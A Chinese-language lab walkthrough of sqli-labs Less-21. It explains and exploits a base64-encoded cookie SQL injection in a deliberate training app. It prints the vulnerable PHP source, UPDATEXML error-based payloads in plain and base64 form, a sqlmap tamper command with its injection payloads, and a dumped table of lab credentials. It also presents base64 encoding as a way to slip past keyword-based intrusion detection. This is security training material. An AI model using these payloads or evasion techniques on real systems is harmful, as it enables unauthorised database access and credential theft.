当前位置: 首页 > news >正文

sqli-labs通关笔记-第21关 字符型Header-Cookie SQL注入(单引号括号闭合 base64编码绕过 手工注入+脚本注入两种方法)

目录

一、Header注入

二、base64编码绕过

三、源码分析

1、代码审计

2、SQL注入安全分析

四、渗透探测

1、进入靶场

2、注入点分析

(1)SQL语句

(2)admin登录探测

五、手工注入

1、获取数据库名

2、获取表名

3、获取列名

4、获取数据值

六、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,使用手注法和脚本法共两种方法分别对第21关Less 21基于字符型的Header-Cookie注入关卡进行渗透实战,相对于1-17关的区别主要是SQL的注入位置由HTTP报文的GET或者POST方法传参变为了基于 HTTP 请求头字段,相对于20关的区别因为对cookie字段进行了base64编码,以及闭合方式由单引号变为了单引号括号。

  • 18关:Insert语句注入,SQL注入点为Header的User-Agent字段。
  • 19关:Insert语句注入,SQL注入点为Header的Referer字段。
  • 20关:Select语句注入,SQL注入点为Header的Cookie字段。
  • 21关:Select语句注入,SQL注入点为Header的Cookie字段并进行base64编码。

一、Header注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

Header 注入是指攻击者通过操纵 HTTP 请求头字段(如User - Agent、Cookie、Referer等),将恶意代码或非法参数注入到 Web 应用处理流程中,从而触发 SQL 注入、命令注入的攻击方式。

Cookie 注入Header 注入的一种,攻击者通过篡改 HTTP 请求中的 Cookie 字段,将恶意 SQL 或命令注入到 Web 应用中。其原理与普通注入类似,但利用了 Cookie 作为身份验证或会话管理载体的特性,具有更高隐蔽性。

Header注入与 GET/POST 注入的对比如下表所示。

对比项Header 注入GET/POST 注入
注入位置HTTP 请求头字段(如 Cookie、UA)URL 参数(GET)或表单数据(POST)
数据可见性部分头字段(如 Cookie)需抓包查看直接显示在 URL 或表单提交数据中
防御复杂度需额外过滤头字段输入常规过滤请求参数即可
典型 PayloadCookie: token=' OR 1=1 --?id=1' UNION SELECT ...
攻击隐蔽性更高(用户难以察觉头字段修改)较低(URL 参数易被用户或日志捕获)
适用场景依赖头字段的认证 / 日志功能常规表单提交、查询接口

核心差异:Header 注入利用 HTTP 协议的元数据字段,攻击路径更隐蔽,常被用于绕过常规参数过滤机制;而 GET/POST 注入直接针对用户可见的输入参数,防御和检测相对直观。两者均需通过预编译语句、输入过滤和最小权限原则进行防护。

二、base64编码绕过

Base64 是一种用于将二进制数据转换为文本格式的编码方法。它使用 64 个字符(通常是 A-Z、a-z、0-9、+ 和 /)来表示任意的二进制数据。在 SQL 注入中,攻击者可以将恶意的 SQL 语句进行 Base64 编码,然后将编码后的字符串作为参数传递给应用程序,从而绕过一些基于字符串匹配的安全检测。使用base64编码的原因如下所示。

  • 绕过检测:许多安全防护机制(如防火墙、入侵检测系统)会检测 SQL 语句中的关键字(如 SELECT、DROP、DELETE 等)。通过将 SQL 语句进行 Base64 编码,攻击者可以隐藏这些关键字,从而绕过检测。
  • 数据传输:在某些情况下,应用程序可能只允许传递特定格式的数据(如文本)。通过将二进制数据(如 SQL 语句)进行 Base64 编码,可以将其转换为文本格式,以便在这些应用程序中传输。

三、源码分析

1、代码审计

本关卡Less21是基于Header-Cookie的SQL注入关卡,打开对应的源码index.php,如下所示。

Less21关卡的源码相对于20关,主要区别是对cookie字段是否进行base64编码处理,如下所示。

第21关的代码实现了一个基于Cookie的身份验证系统,主要功能包括用户登录验证、Cookie管理和用户信息展示。系统对用户名密码进行了基本过滤,并使用base64编码存储Cookie值。然而存在严重SQL注入风险:解码后的Cookie值直接拼接到SQL查询中,攻击者可构造恶意Cookie获取数据库信息。系统还记录用户访问日志,提供Cookie删除功能。详细注释后的第21关卡源码如下所示。

<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 检查是否存在uname cookie
if(!isset($_COOKIE['uname'])) {// 未设置cookie时显示登录表单echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";echo "<div style='padding-top:10px; font-size:15px;'>";// 定义表单,使用POST方法提交echo '<form action=" " name="form1" method="post">';echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';echo '   <input type="text"  name="uname" value=""/>  </div>'; // 用户名输入框echo ' <div> Password : &nbsp; &nbsp; &nbsp;';echo '   <input type="text" name="passwd" value=""/></div></br>'; // 密码输入框echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>'; // 提交按钮echo '</form>';echo '</div>';echo '</div>';echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';echo '<font size="3" color="#FFFF00">';echo '<center><br><br><br>';echo '<img src="../images/Less-21.jpg" />'; // 页面图片echo '</center>';// 输入过滤函数(存在安全隐患)function check_input($con1, $value) {if(!empty($value)) {$value = substr($value, 0, 20); // 截断输入为前20个字符}if (get_magic_quotes_gpc()) { // 处理魔术引号$value = stripslashes($value);}if (!ctype_digit($value)) { // 非数字输入添加单引号并转义$value = "'" . mysqli_real_escape_string($con1, $value) . "'";} else {$value = intval($value); // 数字输入转为整数}return $value;}echo "<br><br>";// 处理表单提交if(isset($_POST['uname']) && isset($_POST['passwd'])) {// 过滤用户名和密码$uname = check_input($con1, $_POST['uname']);$passwd = check_input($con1, $_POST['passwd']);// 构造SQL查询(直接拼接用户输入,存在注入风险)$sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysqli_query($con1, $sql);$row1 = mysqli_fetch_array($result1, MYSQLI_BOTH);if($row1) {// 登录成功,将用户名进行Base64编码后存入Cookiesetcookie('uname', base64_encode($row1['username']), time()+3600);echo '<font color= "#FFFF00" font size = 3 >I LOVE YOU COOKIES</font>';print_r(mysqli_error($con1)); // 输出数据库错误信息(可用于注入回显)echo '<img src="../images/flag.jpg" />';header('Location: index.php'); // 重定向到首页} else {// 登录失败,输出数据库错误信息echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1));echo '<img src="../images/slap.jpg" />';echo "</font>";  }}echo "</font></font></div>";} else {// 已存在cookie时执行的逻辑if(!isset($_POST['submit'])) {$cookee = $_COOKIE['uname']; // 获取cookie值$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br><b><img src="../images/Less-21.jpg" /></b><br><br>';echo '<br><font color= "red" font size="4">YOUR USER AGENT IS : '.$_SERVER['HTTP_USER_AGENT']."</font><br>";echo '<font color= "cyan" font size="4">YOUR IP ADDRESS IS : '.$_SERVER['REMOTE_ADDR']."</font><br>";echo '<font color= "#FFFF00" font size = 4 >DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>';echo '<font color= "orange" font size = 5 >YOUR COOKIE : uname = $cookee and expires: ' . date($format, $timestamp);$cookee = base64_decode($cookee); // 解码cookie值// 直接使用解码后的cookie值构造SQL查询(存在注入风险)$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";$result = mysqli_query($con1, $sql);if (!$result) {die('Issue with your mysql: ' . mysqli_error($con1)); // 输出错误信息}$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 显示用户信息echo '<font color= "pink" font size="5">Your Login name:'. $row['username']."<br>";echo '<font color= "grey" font size="5">Your Password:' .$row['password']."</font></b><br>Your ID:" . $row['id'];} else {echo "<center><br><br><br><img src="../images/slap1.jpg" /></center>";}// 删除cookie的表单echo '<center><form action="" method="post"><input type="submit" name="submit" value="Delete Your Cookie!" /></form></center>';} else {// 处理删除cookie请求echo '<center><font color= "#FFFF00" font size = 6 > Your Cookie is deleted</font></center></br>';setcookie('uname', base64_encode($row1['username']), time()-3600); // 设置过期时间删除cookieheader('Location: index.php');}// 记录cookie信息到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'Cookie:'.$cookee."\n");fclose($fp);
}
?>

本关卡代码虽然对用户名和密码输入进行了过滤(截断、转义),但存在严重SQL注入安全问题:因为其未过滤Cookie信息,导致攻击者可通过修改Cookie字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息。主要处理逻辑如下所示。

  • 当用户未登录(无 Cookie)时,显示登录表单,接收用户名和密码。
  • 对用户输入(用户名和密码)进行简单过滤(截断、转义)后,查询数据库验证登录。
  • 登录成功后,将用户名进行 Base64 编码存入 Cookie,并显示欢迎信息。
  • 当用户已登录(有 Cookie)时,从 Cookie 中获取 Base64 编码的用户名,解码后查询数据库获取用户详细信息并显示(有SQL注入风险)。
  • 提供删除 Cookie 的功能,允许用户退出登录。
  • 记录所有 Cookie 信息到日志文件。

2、SQL注入安全分析

这个代码存在严重的Header-Cookie注入安全问题,原因如下:

  • 登录成功后,base64编码用户名直接存储在 cookie 中。

  • 后续查询时,将解码后的Cookie值直接拼接到SQL查询中,未对cookie值进行过滤,导致 Cookie 注入。

初次登录:
setcookie('uname', base64_encode($row1['username']), time()+3600);	
登录后:
$cookee = base64_decode($_COOKIE['uname'])
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
  • 字符串拼接方式:SQL语句中使用单引号括号包裹用户输入,攻击者可以构造单引号括号闭合注入恶意代码。

  • 数据库错误信息暴露:print_r(mysqli_error($con1))显示数据库错误细节,为攻击者提供有价值的调试信息,便于实现报错SQL注入渗透攻击。

四、渗透探测

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

 其中第21关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击上图红框链接Page2进入如下页面。

http://127.0.0.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less21关卡,进入到靶场的第21关卡字符型Header-Cookie注入关卡,页面提示这是一个登录的页面,需要输入用户名和新密码,具体如下所示。

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡未过滤Cookie字段,导致攻击者可通过修改Header的Cookie字段注入恶意SQL代码,从而实施SQL注入攻击获取数据库信息,具体代码如下所示。

初次登录:
setcookie('uname', base64_encode($row1['username']), time()+3600);	
登录后:
$cookee = base64_decode($_COOKIE['uname'])
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

页面整体存在SQL风险,核心根源在于未对输入参数$_COOKIE['uname']做安全处理且暴露数据库错误细节,闭合方式为单引号括号。

(2)admin登录探测

输入用户名admin,密码admin,页面此时如下所示。

点击登录后,进入到如下页面,显示此次登录的用户名、密码和cookie信息,此时cookie中的uname=YWRtaW4=具体页面如下所示。 

Cookie的值YWRtaW4=使用base64解码后为admin, 这与我们源码分析一致,存入cookie的值为用户名admin的base64编码,具体如下所示。

仔细观察登陆成功后有两个报文(第一个是POST提交表单,第二个是GET页面报文), 在burpsuite的历史记录中找到这两个报文,抓包效果如下所示。

首先是POST报文,参数中包括用户名admin和密码admin,如下所示。

第2个报文是GET报文,Header中包括cookie信息,根据2.2源码分析可知,在登录成功后使用cookie执行执行SQL查询语句有SQL注入问题,故而需要对这个报文信息保存,如下所示。 

 此时对第2个报文(GET型)request请求部分右键,选择copy to file并保存为sqli-labs21.txt,如下所示。 

五、手工注入

1、获取数据库名

 如下为base64编码前的注入语句如下所示。

admin') or UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),1)#

base64编码后cookie注入语句内容如下所示。 

uname=YWRtaW4nKSBvciBVUERBVEVYTUwoMSxDT05DQVQoMHg3ZSxEQVRBQkFTRSgpLDB4N2UpLDEpIw==

如下所示,数据库的名称为“security”。 

2、获取表名

 如下为base64编码前的注入语句如下所示。

admin') or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)#

base64编码后cookie注入语句内容如下所示。 

uname=YWRtaW4nKSBvciBVUERBVEVYTUwoMSxDT05DQVQoMHg3ZSwoU0VMRUNUIEdST1VQX0NPTkNBVChUQUJMRV9OQU1FKSBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgV0hFUkUgVEFCTEVfU0NIRU1BPURBVEFCQVNFKCkpLDB4N2UpLDEpIw==

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

3、获取列名

 如下为base64编码前的注入语句如下所示。

admin') or UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'),0x7e),1)#

base64编码后cookie注入语句内容如下所示。 

uname=YWRtaW4nKSBvciBVUERBVEVYTUwoMSxDT05DQVQoMHg3ZSwoU0VMRUNUIEdST1VQX0NPTkNBVChDT0xVTU5fTkFNRSkgRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEuQ09MVU1OUyBXSEVSRSBUQUJMRV9TQ0hFTUE9REFUQUJBU0UoKSBBTkQgVEFCTEVfTkFNRT0ndXNlcnMnKSwweDdlKSwxKSM=

如下所示,数据库users表的列名分别为id,username,password。

4、获取数据值

最后通过上一步获取到的列名来提取users表的username和password内容,如下为base64编码前的注入语句如下所示。

admin') or UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT('USER:',username,' PASS:',password) FROM users LIMIT 0,1),0x7e),1)#

base64编码后cookie注入语句内容如下所示。 

uname=YWRtaW4nKSBvciBVUERBVEVYTUwoMSxDT05DQVQoMHg3ZSwoU0VMRUNUIENPTkNBVCgnVVNFUjonLHVzZXJuYW1lLCcgUEFTUzonLHBhc3N3b3JkKSBGUk9NIHVzZXJzIExJTUlUIDAsMSksMHg3ZSksMSkj

如下所示,获取到第一个行对应的用户名和密码渗透成功。

六、sqlmap渗透实战

我们使用sqlmap来进行渗透,相对于之前的关卡增加了tamper脚本,完整的SQL注入命令如下所示。

sqlmap -r sqli-labs21.txt  --current-db --dump --batch --tamper "base64encode.py"

其中sqli-labs21.txt中的注入点被修改为如下所示,Cookie中username的赋值admin尾部增加星号,标注Cookie字段为注入点,具体如下所示。

GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-21/
Cookie: uname=YWRtaW4%3D*
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

参数的具体含义如下所示。 

参数说明
-r sqli-labs21.txt指定包含 HTTP 请求的文件(sqli-labs21.txt
--current-db检测当前数据库名称。
--dump转储数据库中的数据(表名、列名、数据内容等)。
--batch自动回答所有问题,无需手动交互(适合自动化测试)。
--tamper "base64encode.py"使用base64encode.py篡改脚本对 payload 进行 Base64 编码,绕过简单的安全过滤。

sqlmap渗透成功,闭合方式和我们源码分析一致,为单引号括号,可以通过报错法、联合注入法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 183 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: uname=YWRtaW4=') RLIKE (SELECT (CASE WHEN (5056=5056) THEN 0x59575274615734253344 ELSE 0x28 END))-- xTitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=YWRtaW4=') AND GTID_SUBSET(CONCAT(0x716b7a7871,(SELECT (ELT(8547=8547,1))),0x71786a7871),8547)-- RyrNType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=YWRtaW4=') AND (SELECT 8977 FROM (SELECT(SLEEP(5)))tssu)-- feZgType: UNION queryTitle: MySQL UNION query (NULL) - 4 columnsPayload: uname=YWRtaW4=') UNION ALL SELECT NULL,NULL,CONCAT(0x716b7a7871,0x7161556145735758654c4d4142635674734f634a736b426d6d706a61494a79795a6d476574626e4d,0x71786a7871)#
---
[06:26:17] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[06:26:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[06:26:17] [INFO] fetching current database
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
http://www.xdnf.cn/news/1190899.html

相关文章:

  • Oracle 11g RAC数据库实例重启的两种方式
  • Linux权限机制:RUID/EUID/SUID与进程安全
  • 服务器之光:Nginx--核心配置详解及演练
  • 【AI论文】MiroMind-M1:通过情境感知多阶段策略优化实现数学推理的开源新进展
  • Golang语言基础—函数调用
  • Spring Cloud Gateway:微服务架构下的 API 网关详解
  • Java,八股,cv,算法——双非研0四修之路day16
  • PYTHON从入门到实践-16数据视图化展示
  • Docker的简单使用
  • 【C++】定义常量
  • 图片查重从设计到实现(5)Milvus可视化工具
  • 嵌入式硬件篇---zigbee无线串口通信问题
  • Python - 100天从新手到大师 - Day6
  • 【Redis】Linux 配置Redis
  • 从零开始的云计算生活——第三十六天,山雨欲来,Ansible入门
  • [Python 基础课程]注释
  • Flowable 实战落地核心:选型决策与坑点破解
  • uniapp 自定义tab栏切换
  • 全球化2.0 | 云轴科技ZStack亮相阿里云印尼国有企业CXO专家活动
  • 数据结构预备知识
  • JavaWeb01——基础标签及样式(黑马视频笔记)
  • 伟淼科技李志伟:破解二代接班传承困局,系统性方案破除三代魔咒
  • mysql查找数据库表中某几个连续的编号中中断的编号
  • 如何实现打印功能
  • Kafka——Java消费者是如何管理TCP连接的?
  • 两个USB-CAN-A收发测试
  • pytorch学习笔记-自定义卷积
  • 在C#中判断两个列表数据是否相同
  • Day04–链表–24. 两两交换链表中的节点,19. 删除链表的倒数第 N 个结点,面试题 02.07. 链表相交,142. 环形链表 II
  • # JsSIP 从入门到实战:构建你的第一个 Web 电话